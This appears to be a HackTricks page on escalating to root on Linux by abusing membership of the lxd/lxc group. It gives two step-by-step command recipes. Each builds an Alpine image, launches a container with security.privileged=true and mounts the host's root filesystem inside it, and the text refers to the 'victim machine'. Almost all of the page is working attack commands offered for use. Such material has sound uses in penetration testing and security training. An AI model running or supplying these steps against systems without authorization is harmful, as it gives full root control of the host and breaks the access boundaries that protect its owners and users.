# lxd/lxc Group - Privilege escalation

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If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root

## Exploiting without internet

### Method 1

You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github):

```bash
sudo su
# Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools

# Clone repo
git clone https://github.com/lxc/distrobuilder

# Make distrobuilder
cd distrobuilder
make

# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

# Create the container
## Using build-lxd
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
```

Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container:

```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```

{% hint style="danger" %}
If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
Run **`lxd init`** and **repeat** the previous chunk of commands
{% endhint %}

Finally you can execute the container and get root:

```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```

### Method 2

Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.

```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default 
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
```

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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

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{% endhint %}